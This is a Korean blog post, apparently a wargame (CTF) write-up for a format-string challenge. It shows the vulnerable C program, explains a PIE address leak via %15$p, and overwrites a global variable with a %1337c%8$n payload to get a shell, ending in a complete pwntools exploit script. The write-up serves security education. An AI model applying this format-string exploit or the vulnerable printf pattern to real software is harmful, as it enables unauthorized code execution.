소스 코드 분석 & checksec
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
목적
changeme의 값을 1337로 조작해 shell을 얻기
취약점 파악
line 29의 printf()에 사용자가 자유롭게 입력한 값인 buf가 전달된다. -> Format String Bug 존재
checksec
Exploit 과정
changeme의 값을 1337로 바꾸려면, changeme의 주소를 알아내야 한다.
1. changeme 주소 구하기
그런데 바이너리가 PIE enabled이므로, 전역 변수인 changeme의 주소는 이 PIE와 일정한 offset을 유지한 채로 실행 시마다 바뀔 것이다.
따라서 실행 시의 PIE base 주소와 changeme offset을 알아야 한다.
1.1. PIE base 주소 구하기
우리는 printf()에서의 FSB를 이용할 수 있기 때문에, printf() 수행 시의 stack 값을 leak할 수 있는데,
이때 만약!! stack에 PIE 주소 범위 내에 포함되는 값 (= sth라 하자)이 있다면,
이는 PIE base와의 offset이 일정할 것이기 때문에 (즉, 런타임의 sth - 런타임의 PIE base = sth offset)
런타임의 PIE base = 런타임의 sth - sth offset 이므로,
이 런타임의 sth 값을 FSB를 통해 leak하고, sth offset은 실행 때마다 변치 않으므로 디버깅을 통해 구하면 된다.
1.1.1. 조건을 만족하는 sth가 있는지 확인하기
우선 현재 런타임에서 PIE가 로드된 주소 범위는 아래와 같이 0x555555554000 ~ 0x555555559000 이다.
현재 런타임에서의 PIE base는 0x555555554000이다. (당연하지만, 매 실행마다 이 값은 PIE에 의해 바뀌므로 이걸 사용할 순 없음)
printf() 수행 시의 stack 값에, 저 범위에 포함되는게 있는지 확인한다.
와! 진짜 있다.
1.1.2. 런타임의 sth 값을 FSB를 통해 leak하기
sth는 (rsp + 0x48) 위치에 있다.
이때 x64 환경에서 printf 함수는
RDI에 포맷 스트링을,
RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18], ...에 순서대로 인자들을 전달받으므로,
[RSP + 0x48]은 15번째 인자이다.
그러므로, input에 %15$p를 입력함으로써, 15번째 인자를 leak하면 된다.
1.1.3. sth offset 구하기
0x0000555555555293 - 0x555555554000 = 0x1293이다.
1.2. changeme offset 구하기
ELF().symbols['changeme']로 구하면 된다.
2. FSB를 통해 changeme의 값을 1337로 바꾸기
Read가 아니라 Write를 해야 하는 상황이므로, format specifier 중 %n을 사용하고, 그 직전까지 print된 글자수가 1337이어야 한다.
하지만 소스코드를 보면 사용자 입력을 32자밖에 받지 않으니 직접 1337자를 써서 전달하는 것은 불가하고,
이럴 때는 Format String의 Width 속성을 이용해, 예를 들어 %1337c와 같은 format specifier를 사용하면
여기에 대응되는 인자의 길이가 1337보다 작을 때 남은 부분은 공백으로 채워 1337자를 출력할 수 있다.
그럼 payload는 대략
%1337c%☆$n★changeme주소
와 같을 것이다.
2.1. ★값 설정
위 payload는 stack에서 8바이트씩 정렬될 것이고, changeme주소 값도 stack에서 8바이트 크기의 한 칸을 깔끔하게 차지하는 게 좋으므로
%1337c%☆$n★ -> 8바이트의 배수여야 한다.
그러면 ★는 (6 + 8의 배수)자 여야 하므로, AAAAAA으로 설정하자.
2.2. ☆값 설정
printf()의 ☆째 인자에 지금까지 출력된 글자수 (즉, 1337)을 Write할 것이다.
-> changeme주소 가 있는 위치가 printf()의 몇번째 인자인지 확인하고, ☆를 이 값으로 설정해야 한다.
(이때 인자는 8바이트 단위로 1개이다.)
※ printf()에 위 payload가 전달되면, 그때의 stack은 아래와 같다.
changeme주소 (8바이트) | |
$nAAAAAA | |
RSP + ? | %1337c%☆ |
... | |
RSP |
위같은 입력값을 전달해봤을 때,
실제 입력값은 printf()의 6번째 인자 위치부터 채워지기 시작함을 알 수 있다.
AAAAAAAA가 아니라 payload를 입력했다면, 6번째 %lx를 통해 %1337c%☆가 출력됐을 것이다.
따라서, 우리가 원하는 changeme주소는 그로부터 16바이트(=8바이트 * 2)뒤이므로, (6 + 2)번째 인자로 취급됨을 알았으므로,
☆ = 8이어야 한다.
최종 Exploit
#!/usr/bin/env python3
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote('host1.dreamhack.games', 19910)
elf = ELF('./fsb_overwrite')
# sth 값 leak by FSB
p.sendline(b'%15$p')
sth = int(p.recvline()[:-1], 16)
# code base 구하기
sth_offset = 0x1293
code_base = sth - sth_offset
# changeme 주소 구하기
changeme = code_base + elf.symbols['changeme']
# 도출된 주소 출력
slog('code_base', code_base)
slog('changeme', changeme)
# changeme값 overwrite
payload = b'%1337c'
payload += b'%8$n'
payload += b'A'*6
payload += p64(changeme)
p.sendline(payload)
p.interactive()
.
'보안 > Wargame' 카테고리의 다른 글
[System Hacking] uaf_overwrite (0) | 2025.02.02 |
---|---|
[Web hacking] bob12-idor-practice (0) | 2024.07.24 |
[System Hacking] out_of_bound (0) | 2024.07.10 |
[Web Hacking] file-download-1 (0) | 2024.07.09 |
[Web Hacking] image-storage (0) | 2024.07.08 |